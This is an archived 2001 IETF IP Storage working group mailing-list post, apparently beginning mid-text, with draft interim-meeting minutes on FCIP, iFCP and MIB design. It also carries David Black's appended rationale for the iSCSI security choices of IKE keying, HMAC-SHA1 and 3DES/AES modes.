iSNS services). Will work with SLP community to improve SLP. SLP DA integrates will with iSNS server, providing centralized management of SLP discovery (can still use SLP on wire). Full integration with iSNS client on each iSCSI device improves further (e.g., access list configuration). iSNS open source will integrate with other databases, e.g. LDAP, MS Active Directory Sense of room to approve iSNS MIB as an official IPS WG work item - next version will be an official WG draft (draft-ietf-ips-...). -- SLP Discovery for iSCSI - Marjorie Krueger, HP Document is getting close to done. Recent changes were to add portal group tags and describe unicast SLP. SLP is moving from proposed to draft standard. RFC 3082 provides SLP notification (currently Experimental). -- iSCSI MIB - Marjorie Kreuger, HP UML is done, lots of counters have been discarded. Is mostly consistent with -07. Need to get work started on SCSI MIB - volunteers should see Marj. NOTE: did not take up SCSI model mapping to iSCSI - Marj will post recommended rules and pointer to presentation to list. From owner-ips@ece.cmu.edu Fri Sep 7 23:05:37 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA06204 for ; Fri, 7 Sep 2001 23:05:37 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f880x1D03682 for ips-outgoing; Fri, 7 Sep 2001 20:59:01 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mxic2.us.dg.com (mxic2.us.dg.com [128.221.31.40]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f880wxP03678 for ; Fri, 7 Sep 2001 20:58:59 -0400 (EDT) Received: by mxic2.us.dg.com with Internet Mail Service (5.5.2653.19) id ; Fri, 7 Sep 2001 20:56:28 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD726@CORPMX14> From: Black_David@emc.com To: ips@ece.cmu.edu Subject: DRAFT Orange County Minutes Date: Fri, 7 Sep 2001 20:52:17 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk I also appended my "iSCSI Security Directions and Rationale" message to these as it seems to be an important part of these minutes. Comments/corrections to the list. Thanks, --David IETF IP Storage (ips) Working Group Orange County Interim Meeting August 27-28, 2001 Irvine Marriott, Irvine, CA ----------------------------------- -------> Day 1, Monday, August 27 - Fibre Channel protocol encapsulations <-------- SCSI MIB effort is still aborning - those who are interested should contact chairs. This is needed by iSCSI. Those who are interested should contact the chairs. -- FC Common Encapsulation - Ralph Weber, (Brocade) No major open issues. Need more text on CRC definition. Will need to clean up IANA text and put in reference for SOF* and EOF*. Reference to T10/T11 specifications - will need to work out issues of reference to T10/T11 r documents. FC-BB-2, FC-FS are issues here, SAM-2 will be crucial for iSCSI. See chapter 3 of existing T10 and T11 documents for potentially useful text. Given that IETF and ITU have figured out how to do this, T10 and T11 issues should be manageable. Document won't be last called until FCIP and/or iFCP is ready for WG Last Call. -- FCIP - Ralph Weber, (Brocade) TCP port issue - allow other than the standard ports?? This is about both NAPT and the ability to put more than one FCIP entity at the same IP address, e.g., for debugging. Related issue is connection binding into a single ISL - if NAPT is used, the IP address can't be used to do implicit connection binding, instead need a way to do explicit connection binding as FC cares about which connections are part of which ISLs. Can always unscramble this at the FC level, but that may be too late. FC B_Port may not be able to get its hands on FC WWN info, so inserting it earlier may not be possible. NAT works. Keith points out that current approach uses IP address (layer 3) to do an FCIP (layer 5) demux. Note that this implies that the current text may be necessary. Consensus call: Does FCIP need to support NAPT? Sense of room: Yes. Discussion will need to go to the list. There are a lot of details here that need to be handled on the list. Transit Time Validation computation - separation of FC Entity from FCIP Entity requires specifying where the transit time is computed. FC Entity is documented in FC-BB-2. Sense of room: Move time validation into FC Entity from FCIP Entity, time stamps measure FC Entity to FC Entity times (discard decision is FC Fabric decision). Use IP time services to get the job done. Seems reasonable, FC-BB-2 has some details to work out to make sure that FC vs. IP time services are used consistently and provide similar level of resolution. Issue about failure detection/notification - goal is fail-fast, may have FC doing connection failure detection above FCIP layer (TCP/IP). Those would be FC mechanisms. Must do usual FC notification of loss of connectivity. IP - FC flow control mapping/management issue - Need a "there be dragons here" warning. -- FC-BB-2 Assumptions and impact on FCIP draft - Murali Rajagopal, Lightsand There are a bunch of places that discuss required interaction between FC and FCIP Entities. New connection initiation and error recovery create coupled interactions. Administrative interface - just require one, and see RFC 2401 for a worked example. Discussing this as a database set up by administrative interface is fine. Notifications DO NOT flow through the database, need a description of functional interaction of the FC and FCIP entities. -- FCIP MIB - Anil Rijhsinghani, McData Relation to FC Mgmt MIB will cause changes. Building on existing MIBs is a good thing, but FC Mgmt MIB didn't do that, and hence will change significantly. TCP DSCP setting entity needs to be bit-bucketed. Use a PHBID to indicate this - see RFC 3140. Exiting TCP MIBs have counters that span all connections. Connections will be long- lived, and hence per-connection counters make sense. Connection options - how do you specify them given that table entries are created as a result of connection creation, and these are needed to create the connections? Do you need a profile table to be used in creating connections? If so, need two tables. Add discussion of related MIBs in initial text of draft. Align to forthcoming -06 version of FCIP draft (e.g., DLY_LIM has been moved into FC Entity). May need to pick up some things from SLP and static discovery. Should look at FC Entity (switch element) MIB for alignment. There's overlap between this and FC Mgmt MIB. Don't see any need to fold FCIP MIB into either FC Mgmt or FC Entity MIBs. -- FCIP Discovery - Dave Peterson, Cisco Scope and domain issue. Domains overlap, scopes don't. Scope defines outer limits of connectivity - within the scope, domains define connectivity. Domains are an addition to the SLP notion of scope, and a system can belong to more than none domain within a scope. This is about link establishment - access control would be via FC Zoning at FC level. FCIP DA usage is highly recommended, but not required. SLPv2 is REQUIRED due to constraints on SLPv1. iSCSI also only allows SLPv2. SLPv2 RFCs are at Proposed Standard, moving to Draft Standard. Open issue of how domain relates to "site network" concept in SLP - will be taken to list. NAT issue is open - will have to look at management IP address and whole concept of SNMP through NATs is peculiar. Also affects iSCSI. Using DNS and default ports helps a lot with NAT boxes. Will coordinate with FCIP MIB. FCIP entity name (WWN) should always be generated automatically. Is fabric name/principle switch needed for FCIP discovery? Take this out. Nit: Take out "L" on string templates, except that transports remains "M L". Combine mgmt-entity and mgmt-ipaddr into URL, and require that there be an SNMP agent at that address that supports FCIP MIB and related required MIBs. Q: Multiple URLs? A: just one, protocol is SNMP, and FCIP MIB must be there. Security entries in template TBD based on FCIP security approach. -- iFCP - Charles Monia, Nishan - Frame Lifetime measurement issue. R_A_TOV default is 10 sec. Want large safety margin on max timeout through IP portion of FC fabric - factor of 2 suggested. Want to avoid need for fine-grained SNTP queries. Want to set this timeout (IP_TOV) via. iSNS or other management interface. iSNS will have location of SNTP server to use, need .125 sec resolution, 100ppm max drift. .125 sec drift every 10 minutes. Add note to spec about implementation techniques that can achieve 100ppm (probably crystal, not LC oscillator). Gateway parameters - IP_TOV value, reaction to loss of SNTP sync (cease time calc. vs. shut down), and frequency of SNTP queries. Define loss of sync (number of missed SNTP queries). Concepts appear to be applicable to FCIP, details will vary (e.g., time budget). - IPFC and iFCP This is mostly about this being possible. Have to support IPFC broadcast, and ELSs used by ARP and FARP. Added optional IPFC to IP gateway (done based on N_Port that passes only IP datagrams to IP network). Fragmentation MUST respect DF bit. May have to gather several IPFC frames to build one IP packet because IPFC "packet" may be spread across multiple frames. It's not clear that this even belongs in the iFCP document, as it's entirely about an implementation technique (it's basically describing the details of how to build an (IP)FC blade for an IP router). - iFCP Fabric Services Profile Gateways must support Class 2 and Class 3, and must support Sequential Delivery - FLOGI. Fabric Services - F_Port server, fabric controller, directory/name server. SCN (State Change Notification) is gone from FC-FS, and can be removed. Broadcast service is optional. No support for Management, time, alias, and key distribution services. Craig Carlson (T11.3) - may need to support Management Service. Broadcast may become mandatory in FC-SW-3. Take this presentation to FC-BB-2. FC-MI does not require any of these for a fabric, but management server may be needed in practice. David Black - this sort of issue is "what makes an FC fabric an FC fabric?" and hence are primarily T11.3 issues. - TPRLO Augmentation TPRLO instructs receiver to terminate one or more process logins. Primarily used within cluster context to force clean failover. Augmentation adds data, may hit max frame size. Hence may have to add frames via increased SEQ_CNT (no SEQ_ID change). - TCP/IP options for iFCP David Black - should be conservative about specifying option usage. Keep Alive - SHOULD NOT use, FC will handle this. Should be lower case. Nagle (tiny segment avoidance) - Should not use, lower case, not capitalized. Can be set per-connection. Window Scale and Wrapped sequence - should use, lower case, not capitalized SACK - Pick up recommendation from RFC 2883 (SHOULD do SACK for TCP?) otherwise lower case "should". Cong control w/fast recovery [RFC 2581] - same as SACK. ECN - Standards track RFC is about to appear, and echo recommendation from it, like previous two. Discussion of TCP RST - may be a useful tool to get TCP connections to "fail fast" when FC has decided that there is loss of connectivity. -- iFCP MIB - Kevin Gibbons, Nishan First version of MIB has been submitted as draft-tseng- ... Will look at existing FC MIBs, and see what it makes sense to import. Sense of room: Adopt iFCP MIB as official IPS WG draft. Minutes of teleconferences to be forwarded to ips reflector. Action item: iSCSI MIB folks need to report their work. - iFCP discovery - Josh Tseng, Nishan Use SLP to discover location of iSNS server. Use iSNS with iFCP. No open issues. - FC-BB-2 relationship - Ralph Weber (Brocade) and Murali Rajagopal, Lightsand FC Entity is now intended to be common to FC-BB (ATM and SONET) and FC-BB-2 (IP), hence want to put all IP configuration and related specifics into FCIP spec rather than FC-BB-2 spec. Management details are not shown on the diagram and are potentially vendor specific. Diagram is from an FC-BB-2 5.1 draft. Discussion of ISL connecting two E-ports 1-1. Instead of creating multiple virtual E-ports, might want to modify FSPF to allow 1-many connections from a single E-port. - NAT issue - Larry Lamers, SAN Valley Extensive editing of Larry's diagram and discussion of the various peculiar things that forms of NAT and NAPT can do. See RFC 2663 for more. -----> Transition to MIB Mechanics Session <-------- -- Tips on MIB Design - Keith McCloghrie, Cisco Subtitle: Some (not well-enough known) SMIv2 design issues. MIB should not be intended to be the only MIB that a product implements. - MIB-II has now been split into a bunch of individual MIBs. - RFC 1907 requires system and snmp groups in all agents - all network I/Fs must be represented in ifTable - Media-specific extensions to ifTable. [FC Mgmt integration MIB needs to follow this approach, ditto Fabric Element MIB]. - Important MIBs in this regard: Interfaces MIB [RFC 2863], and Entity MIB [RFC 2737] - Moral: omit information that is more generic than MIB's function. - Feel free to propose addition to other MIBs, e.g., Entity MIB (Keith asked Entity MIB WG chair to raise specific additions from fcmgmt MIB to Entity MIB as a possible WG work item). Q: Should media-specific MIBs AUGMENT generic MIBs? A: No, AUGMENTS implies 1-1 mapping of rows across the 2 MIBs. Not all interfaces are Ethernet interfaces, but may use same index as ifTable, even though not all rows from the interfaces MIB will be present in Ethernet MIB. Augment is useful for dealing with things at different levels of standardization (including vendor-specific extensions to a standard MIB). Q: Can additional values for standard enumerations be defined in vendor-specific extensions? A: Not for enumerations because additional values may conflict with subsequent standard definition of those values. Use Object Identifier (OID) instead of enumeration in the original MIB to allow this sort of thing, as any vendor can get an object identifier and put it in without fear of conflict. Example: Encryption and Authentication algorithms are defined using OIDs. Q: How are privately defined OIDs kept from conflicting? A: Enterprise object identifier, allocated by IANA. OIDs are tree-structured, hence this OID allows others to be created. Need to think about OID structure, as narrow deep trees create long OIDs. Vendor-specific MIBs should be published, along with list of OIDs used as entry values in the MIB. Careful structure of OID space (e.g., all encryption algorithms are rooted at one OID) helps decipher meaning of newly seen OID. iSCSI MIB had a narrow/deep OID structure because it used OID tree to contain connection objects in session objects. Containment and inheritance should not be captured via OID nesting - these are better done as separate tables using INDEX or AUGMENTS to handle relationships between rows in tables. Each extra level adds about 20% overhead to representation - this can have nasty consequences for GET BULK. Examples in which extra depth adds value: - Ease of administration (avoid duplicated subtrees) - configuring View-based Access Control (RFC 2575): this has a subtree-based structure. Objects, Notification, and Conformance are the three usual nodes underneath the root object/OID for the MIB. Structure beyond there (e.g., within Objects subtree) varies. SMI requires that notification prefix be object 0. This avoids confusion when converting SNMPv1 traps to SNMPv2 by prefixing a zero that can't otherwise appear in the OID (guarantees that when mapping v1 trap to v2, one can't generate an otherwise existing OID) - hence have to use that zero in order to make the corresponding conversion work in the reverse direction. Writable MIB objects. Lack of security in SNMPv1 is not an excuse for no writable objects. Can always not implement write, but MAX-ACCESS clauses cannot be upgraded - to change from MAX-ACCESS that forbids write to one that allows it, one has to deprecate the old objects and define new ones. If write makes sense, allow it in MAX-ACCESS (maximum that makes "protocol sense"). Even with SNMPv1, it may make sense to allow write on isolated network. MIN-ACCESS is minimum required for compliance (e.g., can have read/write MAX, but read-only MIN). Q: Are objects mandatory by groups? A: By and large, yes. This is to simplify management station construction, so that a management station can assume that all objects in a group are present if the group is implemented rather than having to check each one individually. Integer-valued object rules - Enumerations MUST use INTEGER, not Integer32 or Unsigned32 - Range based rules for numbers to use Integer32 or Unsigned32 (see Keith's slides) - When using an integer as an Index, use Unsigned32, but exclude 0 as reserved value for "does not exist". If 0 allowed in range, MUST specify a good reason. Counters are only meaningful when taking differences between samples, time period between samples must be less than minimum wrap time. A Snapshot of a Counter is called a Gauge, and does not change. Counters can have discontinuities (e.g., if module is replaced). MIB needs to record timestamp of discontinuity - mgmt. app can look at this to determine that a discontinuity has occurred and hence old counter values have to be discarded as differences across discontinuity are invalid. sysUpTime is an obvious example, ifCounterDiscontinuityTime [RFC 2863] and etherSTatsCreateTime [RFC 2021] are two others. Q: Can ifTable indexes be reassigned? A: Only if it's known to be the same interface or after reboot. If in doubt, don't reuse the old index values. ifIndex values need not be in some hardware scan order. This gets much worse when interfaces can be dynamically created. Avoid temptation to overload index with some sort of hardware slot number or the like - define a separate MIB element that is the slot number. RMON2 defines ZeroBasedCounter32 for use in rows that exist for a short time. Row has a create time at which the counter can be assumed to have been zero provided that the minimum wrap time has not passed since then. 64-bit numbers: SMIv2 defines Counter64, but not Gauge64 or Unsigned64. - This is a problem, RFC 2856 defines a couple of TC's with Counter64 syntax: - CounterBasedGauge64 (snapshot of counter64) - ZeroBasedCounter64 (64 bit equivalent of ZeroBasedCounter32) Miscellaneous: - Descriptors of 32 characters or less, no hyphens there or in labels. - MIB lines less than 80 characters - Specify ranges for all INTEGERs, sizes for all OCTET STRINGs - enumerated values should be arbitrary, not explicitly selected to correspond to something else (e.g., if 6 is TCP, this is an IP protocol number, so call it that). Include "Relationship to Other MIBs" section Extend ifTable for network interfaces (not augment). iSCSI MIB gets the protocol number issue correct and has port number support for dealing with IPv6. Q: MIB relationship structure? A: ifStackTable helps with structure of stacked protocol MIBs, esp. below IP. Q: Name clashes? A: Standard MIBs tend to have unique prefixes. Enterprise MIBs should start with name of enterprise. This isn't perfect, but tends to work reasonably well. Q: How does IESG check MIBs? A: Dave Perkin's smicng tends to be the most comprehensive in making checks? Q: SNMP security direction? A: Need is increasing, but some large operators use brute force solutions (e.g., block all SNMP traffic at ingress points). Internal threats becoming more of concern and entail use of SNMP security as a countermeasure. Note that jump from SNPMv1 to SNMPv3 w/DES is much larger than DES to 3DES or AES. Q: SNMP key exchange/distribution? A: Small number of management stations need to talk to all agents. Key per management station w/localization to make it unique per agent scales nicely. Kerberos integration w/SNMP has been proposed. -------> Day 2, Tuesday, August 28th - Security <---------- - IETF security requirements discussion - David Black, EMC - MUST implement, OPTIONAL to use. Best we can do is require security tools to be available for use of protocol in environments where they're needed. Vendors may choose to do poor security implementations - can't control that. - Confidentiality is now required - If an "external" gateway is used, only the "public" interface of the gateway is compliant, there's a risk if there's a significant network between the "private" interface of the gateway and the iSCSI/iFCP/FCIP system. - iFCP security requirements - Franco Travostino, Nortel Current proposal - ESP tunnel mode, 3DES, HMAC-SHA1. Assuming that lots of sessions between the two gateways so 3DES keys don't expire quickly. No free lunch for rekeying - for XX MB/sec traffic, have to do a rekeying event every Y hours. That Y is a constant independent of number of SAs (one rekeying event every Y hours). This does help with ESP sequence space exhaustion. No interest in software implementations, hence 3DES software overhead is NOT an issue. Want to use off-the-shelf IKE, and require PFS. iSNS can store security policies. May not want to do PFS every time - one possibility is to rekey the phase 1 SA (which always does a D-H) at the points where PFS becomes required. Tunnel mode works better w/VPNs and existing external gateways. IKE + DHCP combination can be messy - unclear whether this is necessary. - FCIP security requirements - Venkat Rangan, Rhapsody Very little native FC security, long-lived TCP connections. Want to enable external gateways, but provide end-to-end security (FC Entity to FC Entity). Don't want to do inband security negotiation - FCIP has no explicit login. Note: Word "Manual" was not intended for keying mechanism, pre-shared keys. Prefer AES with some suitable operating mode. OFB? Issue: ips wg vs. ipsec wg selection of required operating modes. Suggestion to defer selection of MUST implement algorithms/modes 100% to ipsec WG. Unfortunately, DES is currently a MUST there, which doesn't make much sense. Keying: IKE is fine, SRP would have to be used on an out-of-band connection. Authentication modes: RSA signature key, always mutual authentication in IKE. For non-mutual authentication, fake a self-signed certificate. Pre-shared authentication key is defined. Informational RFC coming on how to do GSS authentication in IKE with Kerberos. Pre-shared key would work for connecting peer gateways, but has admin scaling issues as scenarios scale up. Pre-shared key is very commonly used for IPsec VPN implementations - seems to match with FCIP and iFCP. T11.3 is working on authentication for FC-SW-3 - this could authenticate and generate keys, but relying on that is probably not a good idea. - iSCSI security requirements - Mark Bakke, Cisco Who/what to authenticate - machine vs. some concept of "user". Currently, machine, but some sort of "user" may be in future. Sequential tape sharing solutions are already headed in this direction. SCSI is working on LUN level access control. Most shared disk vendors have individual solutions to this problem. There's an important distinction between system (e.g., IPsec) and initiator/ target authentication. Latter is more general, as one could create different initiators and targets for the apps/users (e.g., dedicated to backup application) - this is multiple logical initiators/targets per system. Web analogy - client authenticates server machine, server authenticates client user. Initiator would authenticate device server, target would authenticate initiator access to LUs. NOTE: An extensive description of iSCSI security decisions made at this meeting along with their rationale has been posted to the mailing list. These minutes are a bit on the brief/sketchy side. The message from the list is appended to these minutes - see below. - iSCSI Inband Keying of ESP - David Black, EMC [Section 6 of draft-black-ips-iscsi-security-01.txt] See slides. Basic idea is to use the keys that iSCSI inband authentication will generate anyway (CHAP doesn't) to key ESP. Negotiation and Startup are problem areas, Rekeying is manageable. - IKE and iSCSI - William Dixon, Microsoft [Part of draft-aboba-ips-iscsi-security-00.txt] Description of IKE and IPsec functionality. Distributed filesystem scenario - only machine authentication (fileserver doesn't know the user when it establishes iSCSI access to storage). Multiuser server scenario - may have user credentials in some cases. Filesystem in OS has to manage which users can access what. If iSCSI users are distinguished, that will be done via separate initiators. Note that user authentication decisions will often be remoted by targets to take advantage of centralized authentication infrastructure. IPsec target running in "secure mode" would require all traffic to be IPsec-secured. Need to subset IKE to get a meaningful set of options for interoperability. Will have to pick the right ones and make them "MUSTs". Can't protect against malicious software on same machine as iSCSI - everything has access to the top of IPsec (especially of concern if there's malicious kernel driver). Requires inband iSCSI authentication and trust in OS to defend against. Ignore material in draft that ties phase 2 SAs to individual TCP connections, but still likely to have phase 2 SA per TCP connection. Proposed IKE profile - Identity protect mode Main + Quick (not aggressive). - Use transport encapsulation - 1024 bit DH group - 3DES/SHA-1 or AES/SHA-1 [SHA-1 HMAC] - iSCSI responsible for deleting phase 2 SAs when TCP connection goes away. IKE naturally matches a machine trust model. User authentication requires additions to current state of IKE implementation/deployment. Separate authentication for key generation (machine - IKE) from authentication for access (machine or user - iSCSI). PKI for certificate management is not widely available. E.g. Free S/WAN for Linux does not handle certificate authentication. When cert mode is used, all certs are self-signed, hence no machine trust infrastructure. In contrast, Kerberos is widely available. So, use pre-shared key, and IKE-GSS-AUTH for Kerberos v5. Pre-shared key could be the mandatory to implement method, but will have scalability issues over time. Need tunnel mode to work with external gateways. MS will not ship AES support for Windows for at least 12 months. Consensus calls on keying direction: iSCSI - use IKE keying iFCP - use IKE keying FCIP - about evenly split between IKE and "not sure". Proposal to be posted to list by FCIP authors. Need to talk about IKE authentication methods and transport vs. tunnel mode on list. -- NIST AES Modes of Operation Workshop Report - Howard Herbert, Intel - CBC MAC and extension modes: CBC MAC is not secure unless all "messages" are same length. Problem for IP Packets. XCBC (2 add'l keys) and RMAC (1 key + random number) both change computation of last block. Workshop recommended XCBC be added to CBC MAC. - Next generation MACs: PMAC, XECB MAC, and UMAC Both PMAC and XECB MAC have patents filed, and each patent cross-claims the other algorithm, so nasty patent issues. UMAC is not suitable for dedicated hardware due to size of key schedule and crypto state. NIST will continue to look at PMAC and XECB MAC, but neither will be standardized now. - Next generation combined (authentication and encryption) modes: OCB, XCBC, IAPM IPsec issue - "associated data" problem, IPsec has to authenticate data that is not encrypted. ESP must send SPI and sequence number in clear and must authenticate them. OCB may be extensible to deal with this. All three algorithms have patents filed and cross-claims, again a mess. Note that some countries make import regulation distinctions between authentication and confidentiality (e.g., China), so combined mode could run afoul of resulting regulatory restrictions. NIST will continue to look at OCB. - Draft NIST modes spec: ECB, CBC, CFB, OFB, CTR, CBC MAC : counter mode is new, others already exist. Draft will provide "guidance", but leave details (e.g., construction of counter) to others (e.g., IETF). NIST is prepared to standardize modes covered by patents, but doesn't seem to be prepared to take out general use licenses for required patents. Howard's recommendations for ESP: - Now: AES CBC MAC + XCBC. AES CTR mode for confidentiality. - Next generation: PMAC or XECB MAC. AES CTR mode for confidentiality. - Continue to look at OCB combined mode. Discussion of various things. -- Hardware considerations - Joe Tardo, Broadcom MAC: HMAC-SHA-1 recommended, not AES CBC MAC. Crypto: AES/Counter mode, not 3DES CBC. Rekeying time issues are a problem. Issue is what the counter looks like to enable packet by packet processing. -- iSCSI Wire Protection w/IPsec - William Dixon, Microsoft [Part of draft-aboba-ips-iscsi-security-00.txt] Reminder that IPsec SA management (phase 2) is decoupled from iSCSI, iSCSI tells IPsec when to tear them down (change to aboba draft). Idling out - iSCSI links will need to idle out, iFCP will be able to do so based on traffic not going across a particular N_Port pair. Discussion - when IPsec hits resource exhaustion and can't set up or rekey SAs, one loses connectivity, and the results can be ugly. This has to be tested for and should be the rough equivalent in effect and likelihood of hardware failure. Sequence number rollover - 10Gbps w/64-byte packets need to rekey about every 3 minutes. That's doable, but there's a bigger problem - @ 10Gig due to 64 bit block size of 3DES, need to rekey every 30 sec or less, and that's hard if IKE is not in kernel mode. MAC Recommendation: HMAC-SHA1 Crypto Recommendation: AES at some mode. - 3DES ok up to 1Gbit, not good at faster speeds. Can be recommended, but shouldn't be the MUST implement. Consensus calls for iSCSI: - HMAC-SHA1 is MUST implement SHA2 may be useful for increased speed. - Enhanced AES CBC MAC is a promising candidate for SHOULD Howard Herbert will look into this further - issue is stability of changes NIST intends to adopt and time period for ipsec WG standardization of result. - Crypto: 3DES/CBC is a MUST, AES/Counter is a SHOULD (no availability of hardware is a good reason for ignoring a SHOULD). - Transport vs. Tunnel encapsulation: Defer decision to the list -- iSCSI Authentication SRP - Stanford and other IPR issues to the list. Josh Tseng will take a look at PKI implications for iSCSI authentication methods (SPKM-1 and SPKM-2) and figure out what's the right thing to do. -- FCIP Security Discussion Security design needs to be public/on the list. Discussion of tunnel vs. transport mode. Can get the cert processing rules too general and not get end-to-end security, pre-shared key tends to result in end-to-end. Tighter specification of cert processing rules can also yield end-to-end bias. --------------- iSCSI Security Directions and Rationale Summary --------------- This message was sent to the mailing list as a detailed explanation of the iSCSI security directions adopted in the interim meeting and the rationale for them. From: Black_David@emc.com Sent: Thursday, August 30, 2001 8:15 PM To: ips@ece.cmu.edu Subject: iSCSI Security directions and rationale The purpose of this message is to state the recommended security directions for iSCSI from the interim meeting and describe the rationale for them. Objections to these decisions may be made on the list, but they need to have *good* technical reasons. I apologize for the length of this message, but we spent a while on this in the meeting, and I wanted to get all the considerations into this message. First, an important piece of procedural context. In order to specify a security algorithm (cipher and mode, or integrity MAC), we need a separate RFC to cite. For algorithms without RFCs, the work to create such an RFC occurs in the ipsec WG, not here. Given the anticipated timetable for iSCSI, any new RFC for such an algorithm needs to be in ipsec WG Last Call and ideally submitted to the IESG by early next year, otherwise approval of the iSCSI RFC gets held up until that algorithm RFC is ready. The proposed charter revision for the ipsec WG (posted for comments on August 9) anticipates the following work on algorithms between now and the end of the year: 3) New cipher documents to support AES-CBC, AES-MAC, SHA-2, and a fast AES mode suitable for use in hardware encryptors The "fast AES mode suitable for use in hardware encryptors" is likely to be counter mode. In practice, NIST is functioning as a gateway to the ipsec WG in this area, in that if NIST is not prepared to recommend a cipher/mode or MAC algorithm, the ipsec WG is unlikely to work on it seriously in the next few months. Hence as a practical matter "NIST is not prepared to recommend" is fatal to the inclusion of an algorithm in the current iSCSI specification. There were four major security issues considered at the interim meeting. Here's a summary of the issues and recommendations: (1) Keying - inband (SRP/ESP) or IKE subset Recommendation: IKE subset. No further work to be done on inband keying and it will not be specified. (2) Integrity MAC - many possibilities Recommendation: HMAC-SHA1 as "MUST implement", AES CBC MAC with XCBC extensions as "SHOULD implement", subject to verification that this is consistent with the ipsec WG's standardization plans. (3) Encryption algorithm and operating mode - many possibilities Recommendation: 3DES in CBC mode as "MUST implement", AES in counter mode or whatever "fast AES mode suitable for use in hardware encryptors" is standardized by the ipsec WG as "SHOULD implement". As previously noted on the list, NULL encryption is "MUST implement". (4) Encapsulation mode - transport vs. tunnel Recommendation: Unable to reach reasonable consensus. This is wrapped up in external gateway and end-to-end security issues as will be explained below. These recommendations are subject to further comment on the list, but I would ask that anyone who comments make sure that they understand the rationale described below. In the absence of serious objections, I intend to call consensus on the first three items above in the near future. Let me also note that nothing in this message excludes any algorithm from implementation - this is entirely about what algorithms to REQUIRE (MUST implement) or RECOMMEND (SHOULD implement). The one exception is DES, which is sufficiently weak to justify "SHOULD NOT implement" wording (IMHO). Usage is negotiable in all cases. We may want or need to revisit these recommendations in the future when the iSCSI specification is closer to being issued as an RFC in light of developments between now and then. - Keying Rationale Inband keying has negotiation and startup weaknesses. The best that can be done with negotiation for the inband keying approach detects tampering with security negotiation after the fact (at which point one has to abandon the connection and start over), whereas IKE can prevent tampering. There is no good solution for starting ESP underneath an existing TCP connection. IKE can be implemented within memory requirements that are reasonable for embedded devices (see draft-aboba-ips-iscsi-security-00.txt), and IKE implementations are readily available in contrast to new work that would be required for inband keying. IKE can also be judiciously subsetted to cut down on the complexity objections to it (more on this in a separate thread). In addition, there is some desire for FCIP and iFCP to follow iSCSI's security direction, and inband keying is a poor fit to these protocols, especially FCIP. - Integrity MAC Rationale There are three classes of candidate MAC algorithms: (1) New MACs (e.g., UMAC, PMAC) and new encryption operating modes that incorporate MAC functionality. NIST is not prepared to recommend any of these at this time, and hence they have to be ruled out for iSCSI. Unfortunately, all of the MAC algorithms likely to have high performance in hardware fall into this category. In addition, with the exception of UMAC, all of these sorts of algorithms considered at the Modes workshop have serious intellectual property (i.e., patent) issues. Since UMAC has been of particular interest in the past, I should note that the developer of UMAC asked NIST not to consider it (and to consider PMAC instead) because UMAC is a poor fit to hardware implementations. NIST will be considering algorithms of both sorts (including PMAC) for possible future recommendation. (2) AES CBC MAC. NIST was initially prepared to recommend this, but it was modified at the Modes workshop to include the XCBC extension to improve security for variable size messages. NIST is prepared to recommend the result, but we need to check that the ipsec WG will proceed to standardize AES CBC MAC as modified in this fashion. Between this and the newness of the modification, AES CBC MAC is most appropriate as a backup (in case a serious security flaw is discovered in our primary algorithm) and hence is recommended as "SHOULD implement" subject to verification with the ipsec WG (Howard Herbert is working on that verification). (3) HMAC-SHA1 and HMAC-MD5. This is what's left. They're stable, well-known, widely implemented, but not exactly fast. Of the two, HMAC-SHA1 is the better choice, as a security issue has been discovered with MD5 (as pointed out in the meeting, the issue doesn't compromise HMAC-MD5, but the "where there's smoke" principle suggests that HMAC-SHA1 is the better choice). SHA2 was felt to be more of a performance improvement for SHA1 and not sufficiently different from SHA1 to provide meaningful protection if a security flaw is found in SHA1, motivating the choice of AES CBC MAC as modified by XCBC as the second MAC algorithm. - Encryption Algorithm and Mode Rationale After the WG chair exercised his prerogative to exclude DES from consideration, four algorithm/mode possibilities were considered: - AES in Counter and CBC Modes - 3DES in Counter and CBC Modes 3DES Counter Mode is a new mode for 3DES; the ipsec WG does not appear to have any current plans to standardize it, and that eliminates 3DES in Counter Mode from consideration. The point of choosing AES would be to get an algorithm/mode combination with high performance in hardware and software. There's unlikely to be a significant difference between CBC Mode and Counter Mode in software, but Counter Mode can be much faster than CBC in hardware, hence Counter Mode makes a lot more sense for AES than CBC Mode. Between 3DES in CBC Mode and AES in Counter Mode (or possibly some other fast mode for hardware encryptors selected by the ipsec WG), 3DES/CBC is specified, stable, and deployed (and implementations are available). Counter Mode for AES is not completely specified yet, and AES implementations are not currently widely available. Hence 3DES in CBC Mode was recommended as "MUST implement" and AES in Counter Mode or whatever fast mode for hardware encryptors the ipsec WG selects as "SHOULD implement" (e.g., inability to get high performance hardware can be part of a valid reason to ignore a "SHOULD"). NULL encryption needs to be "MUST implement" in order to allow ESP to be used for keyed cryptographic integrity without encryptions. - Encapsulation Mode Given the decision to use IKE, a decision to use tunnel mode encapsulation would result in iSCSI security *exactly matching* the functionality of an IPsec security gateway (Bump In The Wire). Security gateways can be deployed anywhere, and as a result, it's quite easy for the security obtained from gateways to be other than end-to-end. Based on discussions with ADs and other knowledgeable folks in London, I believe that the IETF Security Area and the IESG have a preference for end-to-end security solutions. Since most security gateways do not support transport mode (there are a few that do, but they are the exception, not the rule), REQUIRING transport mode would bias the iSCSI specification towards end-to-end security in a fashion that should make it easier to gain IESG approval. OTOH, REQUIRING transport mode would make it considerably more difficult to use external security gateways to provide the mandatory to implement iSCSI security, which seems to be of interest to a significant portion of the WG. On the third hand, as was made clear at the IESG Open Plenary in London, the IESG has little sympathy for a desire to use external security gateways when the result leads to standardization of other than the "best security available" (see Section 6 of draft-ietf-saag-whyenc-00.txt). On the fourth hand, there may be ways to specify/recommend/require usage of IKE authentication in a fashion that creates a bias towards end-to-end security of similar strength to requiring transport mode. And that's about where things stand. I apologize for being unable to provide clearer guidance, but the situation is what it is. From a purely specification and process viewpoint, REQUIRING transport mode will hasten completion of the iSCSI spec and its approval by the IESG, but process should not take precedence over making the proverbial "right" or "best" technical and engineering decisions. Please do not quote this entire message when responding. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 